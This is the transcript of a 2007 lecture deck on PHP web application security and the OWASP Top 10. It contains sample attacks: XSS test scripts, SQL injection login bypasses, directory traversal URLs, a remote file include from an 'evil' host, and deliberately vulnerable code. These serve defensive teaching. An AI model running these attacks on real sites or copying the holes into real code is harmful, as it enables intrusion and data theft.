Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 

Web Application Security with PHP

  • 1. Web Application Security Javed Ikbal www.zsquad.com Brown University, March 26, 2007
  • 3. Why Web Application Security? • Because everyone can touch web apps • And applications are hard to secure • This presentation: – Shows where web apps are vulnerable – Shows how to identify the issues – Is not a secure coding primer, only the foreword 3
  • 4. Web Applications • ... are everywhere • More apps being web-enabled every day • CSI/FBI Survey: website incidents in 2006 by respondent % 4
  • 5. .. “That's where the money is!” • Quote attributed to Willie Sutton, a bank robber, answering why he robbed banks. – (Invented by an enterprising reporter. Mr. Sutton never actually said this) • Why web applications are attacked? – Money? – Fame (street creds)? – Access! 5
  • 6. Cast of Characters and Motivation Organized Crime + Insider + Hackers Hacker Insider / Student Professional Hacker Organized Crime Curiosity Risk Self-satisfaction Theft Prove a point Greed Attack launch point Disgruntled Insider Illegal downloads Hacktortion Revenge Cyber Terrorist Political Agenda Insider / Student Hacktivism Profit motivation Mercenaries Probability increases with Larger Internet presence Script Kiddies Amateurs Recognition Lets see if Notoriety I can do it Street Credentials Probability of Attack 6
  • 7. Cast of Characters and Motivation Harvard rejects 119 accused of hacking Applicants' behavior 'unethical at best' Man charged with hacking university site A 25-year-old computer network expert from San Diego was charged this week in Los Angeles with hacking into a University of Southern California admissions site last June... In all, the attack last June compromised personal records of more than 270,000 past and present university applicants...It is believed Eric McCarty, the man charged, used a vulnerability in the online application system and gained access to personal records of applicants including dates of births and SSN numbers. Oxford students hack university network "in minutes" Two Oxford University students are facing suspension and a fine after they hacked into the University computer system to show just how easy it was to access supposedly secure personal details. 7
  • 8. 3-Tier Web Architecture Allow just the Webserver to talk You actually have a Firewall Allow (anyone) to to the App server, and only the here? Excellent! connect to port App server to talk to the Web Allow 2-way communication 443 and Server using specific source/ between App Server and DB NOTHING ELSE destination ports Server using specific ports HTTPS ? ? Enterprise Red Zone Yellow Zone Green Zone Presentation Application Database (web server) (application server) (database server) 8
  • 9. No Application Server Allow just the Webserver to talk to Allow (anyone) to the Database server, and only the connect to port database server to talk to the Web 443 and Server using specific source/ NOTHING ELSE destination ports Enterprise HTTPS ? Red Zone Green Zone Presentation Database (web server) (database server) 9
  • 10. The Problem With Firewalls • Traditional Firewalls understand source and destination IP addresses and ports • Anything inside the TCP packet is invisible to the firewall • App firewalls work— hard to configure • The Castle and Moat Security Model: 10
  • 11. HOW? • Attacks flow inside the HTTP/HTTPS request – Like poison in delicious food • Firewalls never see them • Comes from allowed sources, going to allowed destination and port – The firewall is the Moat, alligators are the attacks – So requests and responses are passed merrily along: Web server passes to app server, which forwards to database server • Need another layer of defence – Do you have a Castle inside the moat? 11
  • 13. The OWASP Top-10 • From the Open Web Application Security Project – (http://www.owasp.org/) • U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. • U.S. Defence Information Systems Agency lists this as part of the Defence Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP). • The Payment Card Industry (PCI) standard has adopted the OWASP Top Ten, and requires (among other things) that all merchants get a security code review for all their custom code. • Many other companies have adopted the Top-Ten 13
  • 14. The OWASP Top-10 A1. Unvalidated Input A2. Broken Access Control A3. Broken Authentication and Session Management A4. Cross Site Scripting A5. Buffer Overflow A6. Injection Flaws A7. Improper Error Handling A8. Insecure Storage A9. Application Denial of Service A10. Insecure Configuration Management 14
  • 15. On to the Web Application • A1. Unvalidated Input – DO NOT TRUST user input – Can be the root of lots of evil – Can cause information leakage – Buffer overflow – Parameter tampering • Example: T-Shirt <input type=hidden name="Item" value="T-Shirt"><br> Price $12.00<input type=hidden name="Price" value="12.00"><br> 15
  • 16. A1. Unvalidated Input • What is allowed and not allowed? In what format? • Secure coding: Validate and reject bad input Input Filtering – http://www.phpclasses.org/browse/package/2189.html – http://support.microsoft.com/kb/q253119/ SQL Injection – http://www.phpclasses.org/browse/package/1341.html • OWASP online resources 16
  • 17. A1. Unvalidated Input • Best (and most time consuming) way: Source code review • Commercial tools are very expensive, but worth it depending on the information value • Application Testing Tools – Free tool: WebScarab – Commercial: AppScan, WebInspect, a few others – Still no match for an experienced human • Web App Firewalls work but require careful tuning – CodeSeeker: free application firewall from OWASP – mod_security: an Apache application security firewall 17
  • 18. A2. Broken Access Control • Who is allowed and not allowed? – Does access privilege meet roles? – Is the data entry operator using the admin password? • Insecure ID • Forced Browsing: Security by obscurity doesn't work • Path Traversal: Relative path information (e.g., “../../target_dir/target_file”) works • File Permissions • Client-side caching • Secure coding: – Define ACLs and role-based access control – Validate ID at each access request 18
  • 19. A3. Broken Authentication & Session Management • How is the log-in process protected? – Do NOT use referer as the primary control • Once logged in, how is the user tracked? • Password strength, use, and change process – Default accounts and passwords? • Never store actual passwords, only a hash • Credentials in transit: SSL being used? • Secure coding – Session-id should never be part of the URL, should be random and long, and should be changed often – Idle time-out should be used – Authentication screen should not use GET method 19
  • 20. A4. Cross-Site Scripting (XSS) • Does the site echo back form data? • A way to “inject” content to a page • Can be an easy way to steal session-id • Many other ways to exploit XSS vulnerability – See the XSS FAQ • Testing: Enter <script>alert(1)</script> in web form fields. If a window pops up, you have an XSS vulnerability • Secure Coding: The OWASP way – Validate the input! 20
  • 21. A5. Buffer Overflow • PHP and C/C++ are vulnerable, Java is not • Occurs when more information than a memory location can handle is stuffed into it – Extra information overwrites instruction location, and may get executed. • Difficult to exploit, but devastating impact (Code Red, NIMDA worms) • Keep up with patches and bug reports, and periodically scan infrastructure • Validate Input! 21
  • 22. A6. Injection Flaws • Malformed input resulting in a command execution • Suppose login logic is like this: IF userid and password matches, set Result = 'success' IF 'success' then let user in • Attacker enters '1=1' in the userid field • SQL will evaluate this as TRUE and return 'success' • Secure coding: – Avoid making system calls – For databases, use stored procedures instead of passing user input – And did we mention input validation? 22
  • 23. A7. Improper Error Handling • If the application fails – Will it fail closed? Fail open? – What error message is displayed? – Secure Coding: • Have a “catch-all” error trapping mechanism with custom messages • Do not dump system error messages directly [FormatException: Input string was not in a correct format.] Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193 Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +97 [InvalidCastException: Cast from string "Select -->" to type 'Integer' is not valid.] Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +212 lpr.language_picker.get_mykey() in C:jaywebsitesabluser_controlslanguage_picker.ascx.vb:45 lpr.empbioform_langs.add_button_Click(Object sender, EventArgs e) in C:jaywebsitesqprempbioform_langs.ascx.vb:80 System.Web.UI.WebControls.Button.OnClick(EventArgs e) +108 BPeter.VAM.Button.OnClick(EventArgs pE) +71 23
  • 24. A8. Insecure Storage • Run, don't walk, if you hear: “I wrote this encryption algorithm. It's proprietary, and very fast. Our data is protected using this algorithm.” • When it comes to cryptographic algorithms: – Proprietary or Secret Algorithm = BAD • DES is Dead. 3DES or AES is OK • SHA-1 and MD5 will be dead in a few years • What is being protected and for how long? • Secure coding: Use a tested/proven library, and protect the keys, certificates and passwords 24
  • 25. A9. Application Denial of Service • Not network DoS (e.g. TCP SYN floods) • Can the application be crashed? • Can it be slowed down? • Can it be forced to give up information? • Secure coding: – Load test, specially what unauthenticated users can do – Do not make unnecessary database calls • E.g. Don't check userid for existence, and if found, then look for the password match – Don't make unnecessary disk reads – Serve static content as cache out of the web or app layer (or from a cache) 25
  • 26. A10. Insecure Configuration • Wide range of misconfigurations – Or outdated systems • Unpatched security flaws • Unnecessary default, backup, or sample files • Improper file permissions • Unnecessary services enabled • Default accounts with their default passwords • Overly informative error messages • Misconfigured encryption settings • Default or self-signed certificates • Improper authentication with external systems 26
  • 27. A10. Insecure Configuration • Do you rename your files as .old or .bak? • Or put the database config in a .inc file? – I used to. Not any more. Use db.inc (or some other inc file for database connection credentials? Where is this .inc file located? If someone can guess the path, the contents will be displayed! Move above webroot, or rename to .php 27
  • 28. A10. Insecure Configuration • Using JavaScript to enforce security? <script src="javascript/globalattrib.js" type="text/javascript"></script> • Contents of globalattrib.js: // Global constants BRole = "B"; MRole = "M"; AdminRole = "ADMIN"; var maxBlockRecords = 20; • I can write my own HTML and set whatever variable value I want 28
  • 29. Recommended PHP Configuration display_errors = Off (turn on with ini_set or .htaccess) log_errors = On error_reporting = E_ALL (better error reporting) session.gc_maxlifetime=600 (ten minutes of inactivity) safe_mode = On (enable if possible) safe_mode_gid = On (enable if possible) 29
  • 30. Secure Development Process • Start with Guidelines, Policies and Standards Security starts here? Security starts here? Good! Not good. Security Design Code Penetration Requirements Review Review Testing DEPLOY/ Requirements DESIGN DEVELOP TEST IMPLEMENT MAINTAIN 30
  • 31. 10 Principles of Secure Coding 1. Security should be seen as an integral part of the application design process and not as an afterthought. 2. “Security through obscurity,” or relying on others not knowing what you are doing, is a highly unreliable security practice. 3. Simplicity of application design simplifies the application of security. 4. All input is to be distrusted, even when coming from trusted systems. 5. All entities in the system should be granted the least level of privilege required to accomplish their necessary tasks. 31
  • 32. 10 Principles of Secure Coding 6. When an error is encountered, ensure that the system fails in a secure manner. 7. Force all permissions in the system to be explicitly granted or else be denied. 8. Any and all output must be sanitized to prevent information disclosure or relayed attacks. 9. Application segmentation is a useful technique to limit an attacker’s range of action. 10. Multi-layered security models reduce the impact of individual security bypasses. 32
  • 33. Data Validation • Validate all data coming from the client/browser. Ensure all data is: – Well formed, and – Of a proper length (both maximum and minimum length checks are required) • Validation must occur before using or storing the data. • Do not base security on HTTP Referer • All data validation must occur on the server-side. – Optionally, client side validation (JavaScript, etc) may be used as another layer but should never be the only method 33
  • 34. Data Validation Required: • Only checking for null or empty values does not satisfy the requirements for a well-formed and length check on the incoming data fields. Each field needs some level of validation to ensure it does not contain malicious data. • Suspicious characters related to Cross-site Scripting attacks should NOT be allowed unless they are required by the application. The suspicious characters (sorted by highest risk) include: < > “ ‘ ( ) ; % + & 34
  • 36. PHP Security Resources • All software has bugs • PHP itself is no exception – MOPB: http://www.php-security.org/ • http://www.modsecurity.org/ – Web Application Firewall for PHP • Bad news: mod_security itself had issues • Zend has issues too • Your PHP code may (will) have security issues. Security guide: – http://phpsec.org/projects/guide/ 36
  • 37. OWASP A1: Unvalidated Input • Anything you create does not need further validation. $email = 'javed@zsquad.com'; can be trusted • Everything else needs to be validated $email = $_POST['email']; can NOT be trusted • Validate all input at the server, even if its validated on the client once • Use a centralized validation engine (makes maintenance easier) • If possible, use a “approved”-list instead of a “deny”-list. Deny if not explicitly approved • Decode URLs before validation • Reading a filename or path? Verify! • Verify XML documents against schema 37
  • 38. OWASP A1: Unvalidated Input • If you allow any input AND render it as-is, people can add JavaScript to your page. Result: anyone viewing that page could lose their session cookie to an attacker. <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form> <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> • Distrust user input and any data coming from the browser, like http referer 38
  • 39. PHP register_global • http://us2.php.net/register_globals • register_global is a PHP directive that, when 'ON', allows variables with global scope to be 'seen' by your script • Turned off by default starting with PHP 4.2.0 <?php // http://thispage.com/auth.php // define $authorized = true only if user is authenticated if (authenticated_user()) { $authorized = true; } // what if I type: // http://thispage.com/auth.php?authorized=1 // I just passed the IF test and set $authorized = true if ($authorized) { include "/highly/sensitive/data.php"; } ?> 39
  • 40. PHP register_global • Or how about this: // this file = loadscript.php <?php include "$path/script.php"; // verify password .... ?> • With register_global ON, I can get the page with loadscript.php?path=http://zsquad.com/evil and instead of the local script.php, your PHP code will load http://zsquad.com/evil/script.php 40
  • 41. PHP register_global • Remediation: – Turn it off: WILL break lots of scripts – Rewrite using $_POST and $_GET superglobals – Explicitly initialize variables – Develop with error_reporting set to E_ALL • mod_security: (just blocking $authorized) <Location "/vulnerable-application/"> SecFilterSelective ARG_authorized "!^$" </Location> • Disable globally, then use .htaccess to turn on selectively for apps that need it (and then fix those) php_value register_globals 1 41
  • 42. Back to .inc files • Sample database.inc: <?php // filename: database.inc $host = 'example.org'; $username = 'myuser'; $password = 'myR3@77yKOMplICATEDpassW04d'; $db = mysql_connect($host, $username, $password); ?> • Apache will happily serve up .inc file source • Sysadmins: add to httpd.conf (on Apache) <Files ~ ".inc$"> Order allow,deny Deny from all </Files> 42
  • 43. Databases (MySql or SQL Server) • If you are passing unfiltered input to the database, someone may send in additional commands • Password change dialog: whatever is in the new password field is used to construct the SQL UPDATE users SET password = $newpass WHERE username = 'javed'; • I can't change username, but I am entering $newpass • What will the same SQL look like if I entered $newpass = 'myNewPass' where username = 'javed' or username like 'pat%' -- UPDATE users SET password = 'myNewPass' where username = 'javed' or username like 'pat%' -- 43
  • 44. Database issues contd. • For MySql, use mysql_real_escape_string() • Similar functions available for most databases • If nothing is available, use addslashes() • The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data. – Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as this will result in double escaping. – Use get_magic_quotes_gpc() to check 44
  • 45. Session Management • How do we keep track of users once they log in? • Can Johnny claim that he is James? • Regenerate session id after login and everytime privilege changes. Heck, do it every 15 minutes. <?php session_start(); if (!isset($_SESSION['initiated'])){ session_regenerate_id(); $_SESSION['initiated'] = true; } ?> 45
  • 46. Session Management • By default, session data is stored in /tmp • So if you and I share a server, can I read your session data? – Probably. Session files are owned by the webserver process. My PHP scripts will be able to read them. – safe_mode directive can block PHP. I can easily write the code in Perl to read the files. • Once I have the session data, I can set the cookie, and assume another user's identity • So store the sessions in a database – http://www.phpclasses.org/browse/package/1624.html • Other methods: – http://www.phpclasses.org/browse/package/2794.html 46
  • 47. Application Audit (or how not to develop web applications) 47
  • 49. FireFox with Web Developer Extn • http://zsquad.com/download, or • http://getfirefox.com & http://chrispederick.com/work/webdeveloper/ • Lets start at: http://www.acme-hackme.com/feedback.aspx • From the WDE menu: – select Forms->Display Form Details 49
  • 50. FireFox with Web Developer Extn • Hmm.. a hidden field with what looks like a filename • What will happen if I change the filename? – What if I change the name AND the path? • Instant defacement (or phishing!) 50
  • 51. Directory Traversal http://www.acme-hackme.com/default.aspx?content=pr/20061109.htm • default.aspx is passed the path to a filename, and it is displayed. • Can we guess paths and other filenames? http://www.acme-hackme.com/default.aspx?content=../pr/20061109.htm • Ouch! (or Got you!) 51
  • 52. Default Accounts • We can login with 'admin' & 'admin' – Ok, that's just an extreme example • What happens if we don't enter a passwod? – A JavaScript popup – WDE ->Disable->JavaScript->All JavaScript • No popups, no warnings: • Doing client side validation only 52
  • 53. Brief Detour to Error Messages • From another site: Error Diagnostic Information ODBC Error Code = 37000 (Syntax error or access violation) [Microsoft][ODBC SQL Server Driver][SQL Server]Line 3: Incorrect syntax near '='. SQL = "Update tblMember set dteEdited=getdate() where intResID=" • Error message giving up table name, a date field, and the index to the table. 53
  • 54. SQL Injection Attack • A forced error may show the SQL • Or the attacker can just guess – SQL query for authentication probably looks like: “select * from users where user='userID' and pass='password' • The userID and password is taken from the web form • So if I enter: aa' or user like 'a%' -- • The SQL becomes: select * from users where user='aa' OR user like 'a%' -- ' and pass='password' which becomes: • select * from users where user like 'a%' 54
  • 58. Once more: • Secure Applications do not “happen” – They are consciously designed and built • Conclusion: Any given large web application, unless extensively tested: – Will have vulnerabilities • Not too difficult to find • Educate development group • Audit staff is the last line of defence 58
  • 59. Web App Auditing in 5 Steps: • 1. Do you have authorization and a GET OUT OF JAIL FREE letter? • 2. Find all web forms in the application. • Look for hidden fields (use WDE). How is the information being used? • In all the form fields, enter the following: <script>alert("Hello")</script> and submit – (use WDE to bypass length restrictions). If you see a pop-up, you just broke the app and launched a successful cross-site scripting attack 59
  • 60. Web App Auditing in 5 Steps: • 3. Use WDE to display the form detail for all forms, specially log-in forms • If you see METHOD=”GET” that is a problem (information will be stored in logs) • 4. Add ../ in the URL. See what the error message is • 5. In login forms, enter a single quote (') and see what the error message is. If the output contains “SQL” anywhere, there might be potential SQL injection issues 60
  • 61. Questions 61